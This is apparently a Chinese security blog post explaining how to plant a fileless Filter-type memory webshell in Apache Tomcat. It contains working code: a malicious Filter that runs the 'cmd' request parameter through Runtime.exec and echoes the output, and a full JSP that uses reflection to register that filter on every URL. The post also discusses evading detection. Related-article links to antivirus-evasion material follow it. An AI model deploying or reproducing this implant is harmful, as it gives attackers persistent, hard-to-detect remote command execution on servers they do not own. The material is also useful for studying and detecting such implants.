Tomcat内存马-Filter型

什么是内存马？为什么要有内存马？什么又是Filter型内存马？这些问题在此就不做赘述

Filter加载流程分析

tomcat启动后正常情况下对于Filter的处理过程：

  • 加载web.xml配置文件
  • 读取filter的信息，并将其保存在context对象里的filterDef,filterConfigs,filterMappers中
  • filterChain的构造流程:1. 匹配请求路径，找到对应的filter 2. 将匹配的filter加入filterChain中 3.执行filterChain

利用jsp文件完成动态注册恶意filter

需要解决的问题

  • 怎么获取context对象
  • 利用动态加载，如何修改filterConfigs，filterDefs，filterMaps，将恶意filter插入。

恶意Filter对象

  1. public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
  2.         System.out.println("添加");
  3.         String cmd = servletRequest.getParameter("cmd");
  4.         InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();
  5.         while(true) {
  6.             String tmp = null;
  7.             if ((tmp = new BufferedReader(new InputStreamReader(inputStream)).readLine()) != null) {
  8.                 servletResponse.getOutputStream().print(tmp);
  9.             }else{
  10.                 break;
  11.             }
  12.         }
  13.         return;
  14.     }

在这里可以jsp进行注入

  1. <%@ page import="org.apache.catalina.core.StandardContext" %>
  2. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
  3. <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
  4. <%@ page import="java.lang.reflect.Constructor" %>
  5. <%@ page import="java.lang.reflect.Field" %>
  6. <%@ page import="java.util.Map" %>
  7. <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
  8. <%@ page import="org.apache.catalina.Context" %>
  10. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  11. <html>
  12. <head>
  13.     <title>Title</title>
  14. </head>
  15. <body>
  16.     <center><h1>Dynamic Memory-Type Horse</h1></center>
  17. </body>
  18. </html>
  20. <%
  21.     org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
  22.     StandardContext context = (StandardContext)webappClassLoaderBase.getResources().getContext();
  24.     if(context.findFilterDef("Filter_new")==null){
  25.         //2.配置过滤器并初始化FilterDef
  26.         String newFilterName = "Filter_new";
  27.         String newFilterClass = "sec.aur0ra.filter.Filter";
  29.         FilterDef filterDef = new FilterDef();
  30.         filterDef.setFilterName(newFilterName);
  31.         filterDef.setFilterClass(newFilterClass);
  33.         //3. 注册FilterDef
  34.         context.addFilterDef(filterDef);
  36.         //4. 创建并注册FilterMap对象
  37.         FilterMap filterMap = new FilterMap();
  38.         filterMap.setFilterName("Filter_new");
  39.         filterMap.addURLPattern("/*");
  41.         context.addFilterMapBefore(filterMap);
  42.         //context.addFilterMap(filterMap);
  44.         //5. 添加FilterConfig
  45.         Constructor constructor = null;
  46.         try {
  47.             //获取FilterConfigs对象
  48.             Field Configs = context.getClass().getDeclaredField("filterConfigs");
  49.             Configs.setAccessible(true);
  50.             Map filterConfigs = (Map) Configs.get(context);
  52.             constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  53.             constructor.setAccessible(true);
  54.             FilterConfig filterConfig = (FilterConfig) constructor.newInstance(context, filterDef);
  56.             filterConfigs.put(newFilterName, filterConfig);
  57.         } catch (Exception e){
  58.             ;
  59.         }
  61.     }
  62.     FilterMap[] filterMaps = context.findFilterMaps();
  63.     System.out.println("注册成功");
  64. %>

在这里利用线程信息获取context。获取context对象的方式还有通过request对象进行获取等

直接访问恶意jsp文件

恶意的filter已经被成功注入

再访问正常界面

访问成功，说明内存成功注入。报错只是因为没有传参,所以报错不一定代表坏消息

传参cmd

可能遇到的问题

filterDef,filterConfigs,filterMappers中未添加全对应的信息

小结

可以看到，这里已经成功注册了Filter内存马。EvilFilter的对象可以传字节码进去，但还是免不了借助了jsp文件，虽然后面可以删除，但还是会有文件记录，自然也就容易被查杀。利用反序列化执行代码？后续再学习吧

【免杀技术】Tomcat内存马-Filter的更多相关文章

  1. Tomcat 内存马（二）Filter型

    一.Tomcat处理请求 在前一个章节讲到,tomcat在处理请求时候,首先会经过连接器Coyote把request对象转换成ServletRequest后,传递给Catalina进行处理. 在Cat ...

  2. 【黑客免杀攻防】读书笔记2 - 免杀与特征码、其他免杀技术、PE进阶介绍

    第3章 免杀与特征码 这一章主要讲了一些操作过程.介绍了MyCCL脚本木马免杀的操作,对于定位特征码在FreeBuf也曾发表过类似工具. VirTest5.0特征码定位器 http://www.fre ...

  3. Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结

    Atitit.木马 病毒 免杀 技术 360免杀 杀毒软件免杀 原理与原则 attilax 总结 1. ,免杀技术的用途2 1.1. 病毒木马的编写2 1.2. 软件保护所用的加密产品(比如壳)中,有 ...

  4. tomcat内存马原理解析及实现

    内存马 简介 ​ Webshell内存马,是在内存中写入恶意后门和木马并执行,达到远程控制Web服务器的一类内存马,其瞄准了企业的对外窗口:网站.应用.但传统的Webshell都是基于文件类型的,黑客 ...

  5. kali linux之免杀技术

    恶意软件: 病毒,木马.蠕虫,键盘记录,僵尸程序,流氓软件,勒索软件,广告程序 在用户非自愿的情况下安装 出于某种恶意的目的:控制,窃取,勒索,偷窥,推送,攻击 恶意程序最主要的防护手段:杀软 检测原 ...

  6. Tomcat 内存马（一）Listener型

    一.Tomcat介绍 Tomcat的主要功能 tomcat作为一个 Web 服务器,实现了两个非常核心的功能: Http 服务器功能:进行 Socket 通信(基于 TCP/IP),解析 HTTP 报 ...

  7. Java安全之基于Tomcat实现内存马

    Java安全之基于Tomcat实现内存马 0x00 前言 在近年来红队行动中,基本上除了非必要情况,一般会选择打入内存马,然后再去连接.而落地Jsp文件也任意被设备给检测到,从而得到攻击路径,删除we ...

  8. 6. 站在巨人的肩膀学习Java Filter型内存马

    本文站在巨人的肩膀学习Java Filter型内存马,文章里面的链接以及图片引用于下面文章,参考文章: <Tomcat 内存马学习(一):Filter型> <tomcat无文件内存w ...

  9. 2018-2019-2 20165312《网络攻防技术》Exp3 免杀原理与实践

    2018-2019-2 20165312<网络攻防技术>Exp3 免杀原理与实践 课上知识点总结 1.恶意软件检测机制 基于特征码的检测(需要定期更新病毒库) 启发式恶意软件检测(实时监控 ...

随机推荐

  1. 【剑指Offer】翻转单词顺序列 解题报告（Python）

    [剑指Offer]翻转单词顺序列 解题报告(Python) 标签(空格分隔): 剑指Offer 题目地址:https://www.nowcoder.com/ta/coding-interviews 题 ...

  2. Another kind of Fibonacci(hdu3306)

    Another kind of Fibonacci Time Limit: 3000/1000 MS (Java/Others)    Memory Limit: 65536/65536 K (Jav ...

  3. Leapin' Lizards(hdu 2732)

    Leapin' Lizards Time Limit: 2000/1000 MS (Java/Others)    Memory Limit: 32768/32768 K (Java/Others)T ...

  4. Mind the Box: $\ell_1$-APGD for Sparse Adversarial Attacks on Image Classifiers

    目录 概 主要内容 Croce F. and Hein M. Mind the box: \(\ell_1\)-APGD for sparse adversarial attacks on image ...

  5. CS5265完全替代兼容龙迅LT8711|Type-C/DP1.2 to HDMI2.0方案芯片|CS5265兼容TYPEC手机笔电

    龙迅LT8711是一款Type-C/DP1.2 to HDMI2.0方案芯片.LT8711HE是一款高性能Type-C/DP1.2至HDMI2.0转换器,设计用于将USB typec或DP1.2源连接 ...

  6. Java Web程序设计笔记 • 【第7章 会话跟踪技术】

    全部章节   >>>> 本章目录 7.1 会话跟踪技术概述 7.1.1 为什么需要会话跟踪 7.1.2 会话的状态和跟踪 7.1.3 会话跟踪技术 7.1.4 会话跟踪工作流程 ...

  7. for update未提交导致锁表

    select for update 是为了在查询时,避免其他用户以该表进行插入,修改或删除等操作,造成表的不一致性. 应用场景: 什么时候需要使用for update?就是那些需要业务层面数据独占时, ...

  8. iOS微信支付无法直接返回APP的问题

    最近新测个项目,发现在IOS手机的APP上使用微信支付无法直接返回APP. 咨询微信客服,了解到无法直接返回APP的原因是收款配置的APPID为合作商家的APPID,而不是公司APP的APPID. 当 ...

  9. 基于CentOS7.x gitlab环境搭建，卸载，汉化 --搭建篇

    gitlab环境搭建,卸载,汉化 --搭建篇 环境搭建 安装依赖软件 yum -y install policycoreutils openssh-server openssh-clients pos ...

  10. Windows系统上搭建Clickhouse开发环境

    Windows系统上搭建Clickhouse开发环境 总体思路 微软的开发IDE是很棒的,有两种:Visual Studio 和 VS Code,一个重量级,一个轻量级.近年来VS Code越来越受欢 ...